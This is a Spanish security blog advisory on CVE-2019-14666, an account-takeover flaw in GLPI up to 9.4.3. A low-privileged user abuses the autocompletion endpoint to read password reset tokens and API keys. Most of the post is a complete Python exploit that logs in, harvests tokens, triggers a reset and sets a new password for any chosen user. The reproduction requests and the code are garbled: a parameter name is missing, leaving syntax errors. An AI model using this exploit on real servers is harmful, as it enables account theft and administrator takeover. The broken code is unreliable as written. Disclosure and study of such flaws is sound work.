Cabecera blog ciberseguridad

Vulnerabilidad en GLPI: Account takeover (CVE-2019-14666)

Sofware: GLPI
Version: <= 9.4.3 Descubierto por: Pablo Martinez (@Xassiz)
Parche: version 9.4.4

Vulnerabilidad en GPLI (CVE-2019-14666)

Descripción de la vulnerabilidad en GLPI

Se ha identificado que es posible abusar de la funcionalidad de autocompletado para obener datos sensibles de cualquier usuario haciendo uso de una cuenta no privilegiada.
Además de las cookies de sesión con hash o las claves API en texto claro, un usuario malintencionado puede recuperar el atributo password_forget_token que permite tomar el control de la la cuenta cuando la función “recuperar contraseña” está activada.

Los pasos para reproducir la vulnerabilidad son los siguientes:
1. Elegir un email conocido o escoger uno de la lista de autocompletado
GET /glpi/ajax/autocompletion.php?=UserEmail&field=email&term=

2. Obtener una lista de todos los tokens generados
GET /glpi/ajax/autocompletion.php?=User&field=password_forget_token&term=

3. Invocar la funcionalidad de recuperar contraseña con el email seleccionado
4. Obtener nuevamente una lista de todos los tokens generados y ver la diferencias en busca del nuevo token

5. Establecer la contraseña del usuario usando /glpi/front/lostpassword.php?password_forget_token=[token]

En resumen, un usuario no privilegiado puede robar cualquier cuenta y escalar privilegios cambiando la contraseña del usuario administrador. Es posible también robar las claves de la API y hacer uso de ellas con fines maliciosos

GLPI Exploit for CVE-2019-14666

Prueba de concepto:

#!/usr/bin/python
#
#  Description: Exploit for CVE-2019-14666 (GLPI <=9.4.3 account takeover)
#  Author: @xassiz (Tarlogic)
#
import re
import sys
import json
import argparse
import requests
class GlpiBrowser:
    def __init__(self, url, user, password):
        self.url = url
        self.user = user
        self.password = password
        
        self.session = requests.Session()
        self.session.verify = False
        requests.packages.urllib3.disable_warnings()
    
    
    def extract_csrf(self, html):
        return re.findall('name="_glpi_csrf_token" value="([a-f0-9]{32})"', html)[0]
    
    def get_login_data(self):
        r = self.session.get('{0}'.format(self.url), allow_redirects=True)
        
        csrf_token = self.extract_csrf(r.text)
        name_field = re.findall('name="(.*)" id="login_name"', r.text)[0]
        pass_field = re.findall('name="(.*)" id="login_password"', r.text)[0]
        
        return name_field, pass_field, csrf_token
    
    
    def login(self):
        try:
            name_field, pass_field, csrf_token = self.get_login_data()
        except Exception as e:
            print "[-] Login error: could not retrieve form data"
            sys.exit(1)
        
        data = {
            name_field: self.user, 
            pass_field: self.password,
            "auth": "local",
            "submit": "Post",
            "_glpi_csrf_token": csrf_token
        }
        
        r = self.session.post('{}/front/login.php'.format(self.url), data=data, allow_redirects=False)
        
        return r.status_code == 302
    
    
    def get_data(self, , field, term=None):        
        params = {
            "": ,
            "field": field,
            "term": term if term else ""
        }
        
        r = self.session.get('{}/ajax/autocompletion.php'.format(self.url), params=params)
        
        if r.status_code == 200:
            try:
                data = json.loads(r.text)
            except:
                return None
            return data
        return None
        
    
    def get_forget_token(self):
        return self.get_data('User', 'password_forget_token')
    
    
    def get_emails(self):
        return self.get_data('UserEmail', 'email')
    
    
    def lost_password_request(self, email):
        r = self.session.get('{0}/front/lostpassword.php'.format(self.url))
        try:
            csrf_token = self.extract_csrf(r.text)
        except Exception as e:
            print "[-] Lost password error: could not retrieve form data"
            sys.exit(1)
        
        data = {
            "email": email,
            "update": "Save",
            "_glpi_csrf_token": csrf_token
        }
        
        r = self.session.post('{}/front/lostpassword.php'.format(self.url), data=data)
        return 'An email has been sent' in r.text
    
    
    def change_password(self, email, password, token):
        r = self.session.get('{0}/front/lostpassword.php'.format(self.url), params={'password_forget_token': token})
        try:
            csrf_token = self.extract_csrf(r.text)
        except Exception as e:
            print "[-] Change password error: could not retrieve form data"
            sys.exit(1)
        
        data = {
            "email": email,
            "password": password,
            "password2": password,
            "password_forget_token": token,
            "update": "Save",
            "_glpi_csrf_token": csrf_token
        }
        
        r = self.session.post('{}/front/lostpassword.php'.format(self.url), data=data)
        return 'Reset password successful' in r.text
    
    
    def pwn(self, email, password):
        
        if not self.login():
            print "[-] Login error"
            return
        
        tokens = self.get_forget_token()
        if tokens is None:
            tokens = []
        
        if email:
            if not self.lost_password_request(email):
                print "[-] Lost password error: could not request"
                return
            
            new_tokens = self.get_forget_token()
            
            res = list(set(new_tokens) - set(tokens))
            if res:
                for token in res:
                    if self.change_password(email, password, token):
                        print "[+] Password changed! ;)"
                        return
        
        
        
if __name__ == '__main__':
    
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", help="Target URL", required=True)
    parser.add_argument("--user", help="Username", required=True)
    parser.add_argument("--password", help="Password", required=True)
    parser.add_argument("--email", help="Target email")
    parser.add_argument("--newpass", help="New password")
    
    args = parser.parse_args()
    
    g = GlpiBrowser(args.url, user=args.user, password=args.password)
    
    g.pwn(args.email, args.newpass)

Discover our work and cybersecurity services.